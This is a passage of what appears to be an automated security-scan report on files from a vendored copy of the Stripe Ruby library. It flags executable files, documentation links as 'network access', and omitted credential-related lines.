    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1816
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1818
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1826
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1838
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1917
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1952
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2048
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2105
    # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 92
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 141
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 153
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 166
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 168
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 176
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 189
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 191
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 199
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 211
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 302
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 337
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 86
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 135
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 147
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 160
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 162
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 170
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 183
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 185
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 193
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 205
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 296
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 331
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 92
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 141
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 153
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 166
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 168
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 176
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 189
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 191
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 199
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 211
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 302
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 337
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_disable_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_enable_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_ping_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/request_options.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/request_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/account.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # enabled to make live charges or receive payouts.   #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 8
    #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)   # is `application`, which includes Custom accounts, the properties below are always
  • Network accessline 9
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 11
    # returned.   #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 12
    #   # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)   # is `stripe`, which includes Standard and Express accounts, some properties are on
  • Network accessline 13
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 14
    # is `stripe`, which includes Standard and Express accounts, some properties are only returned   # until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessio
  • Network accessline 15
    # until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessions)
  • Network accessline 16
    # to start Connect Onboarding. Learn about the [differences between accounts](https://docs.stripe.com/connect/accounts).
  • Network accessline 41
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 58
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 73
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 81
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 267
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 275
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 290
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 315
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 407
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file).
  • Network accessline 413
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file).
  • Network accessline 441
    # Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_provided` parameter](https://docs.stripe.com/api/accounts/update#update_accou
  • Network accessline 445
    # Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provided via [the `executives_provided` parameter](https://docs.stripe.com/api/accounts/update#update_ac
  • Network accessline 457
    # Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter](https://docs.stripe.com/api/accounts/update#update_account-compan
  • Network accessline 461
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 469
    # The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_collection](/api/accounts/object#account_object-controller-requirement_collection) is `stripe`. See [Bu
  • Network accessline 500
    # A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-beha
  • Network accessline 539
    # `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for-standard-accounts). Otherwise, this field is null.
  • Network accessline 618
    # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details.
  • Network accessline 668
    # If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).
  • Network accessline 705
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 707
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px.
  • Network accessline 788
    # The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones).
  • Network accessline 818
    # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 820
    # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 822
    # The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descri
  • Network accessline 824
    # The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descr
  • Network accessline 991
    # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs/payouts).
  • Network accessline 1011
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1028
    # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users.
  • Network accessline 1029
    # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings).
  • Network accessline 1030
    #     # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when     # creating the account. Connect Onboarding won't ask fo
  • Network accessline 1031
    # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when
  • Network accessline 1038
    # With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage.
  • Network accessline 1040
    # Test-mode accounts can be deleted at any time.     #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe
  • Network accessline 1041
    #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc
  • Network accessline 1042
    # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht
  • Network accessline 1044
    # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.
  • Network accessline 1054
    # With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage.
  • Network accessline 1056
    # Test-mode accounts can be deleted at any time.     #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe
  • Network accessline 1057
    #     # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc
  • Network accessline 1058
    # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht
  • Network accessline 1060
    # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead.
  • Network accessline 1070
    # Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty.
  • Network accessline 1095
    # With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious.
  • Network accessline 1107
    # With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious.
  • Network accessline 1119
    # Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are
  • Network accessline 1120
    # left unchanged.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 1121
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is application, which includes Custom accounts, you can update any informatio
  • Network accessline 1122
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 1123
    # is application, which includes Custom accounts, you can update any information on the account.     #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir
  • Network accessline 1124
    #     # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)     # is stripe, which includes Standard and Express accounts, you can update all i
  • Network accessline 1125
    # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection)
  • Network accessline 1126
    # is stripe, which includes Standard and Express accounts, you can update all information until you create     # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec
  • Network accessline 1127
    # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding,
  • Network accessline 1128
    # after which some properties can no longer be updated.     #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 1129
    #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our     # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts
  • Network accessline 1130
    # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 1131
    # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/account_link.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Stripe-hosted applications, such as Connect Onboarding.   #   # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)
  • Network accessline 8
    # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/account_session.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # quickly, and cannot be used more than once.   #   # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components)
  • Network accessline 11
    # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components)
  • Network accessline 657
    # The client secret can be used to provide access to `account` from your frontend. It should not be stored, logged, or exposed to anyone other than the connected account. Make sure that you have TLS enabled on any page that includes the cli
  • Network accessline 659
    [Credential-related source omitted]
  • Access to secretsline 659
    [Credential-related source omitted]
  • Access to secretsline 660
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/alipay_account.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/apple_pay_domain.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/application.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/application_fee.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 46
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/application_fee_refund.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # the Stripe account from which the fee was originally collected.   #   # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee)
  • Network accessline 9
    # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee)
  • Network accessline 24
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 30
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/apps/secret.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # A `user` scoped secret is accessible by the app backend and one specific Dashboard user. Use the `user` scope for per-user secrets like per-user OAuth tokens, where different users might have different permissions.     #     # Related gui
  • Network accessline 14
    # Related guide: [Store data between page reloads](https://docs.stripe.com/stripe-apps/store-auth-data-custom-objects)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/balance.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # The top-level `available` and `pending` comprise your "payments balance."   #   # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/c
  • Network accessline 10
    # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/connect/account-balances)
  • Network accessline 19
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 21
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 23
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 36
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 52
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 54
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 56
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 69
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 86
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 88
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 90
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 118
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 120
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 122
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 135
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 154
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 156
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 158
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 171
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 198
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 200
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 202
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 215
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 232
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 234
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 236
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 249
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 265
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 267
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 269
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 282
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 308
    # Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the available balance for 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/balance_settings.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    # Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit Card Payouts](https://docs.stripe.com/connect/bank-transfers#payout-information) documentation for detail

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/balance_transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Stripe creates them for every type of transaction that enters or leaves your Stripe account balance.   #   # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types)
  • Network accessline 8
    # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types)
  • Network accessline 22
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 61
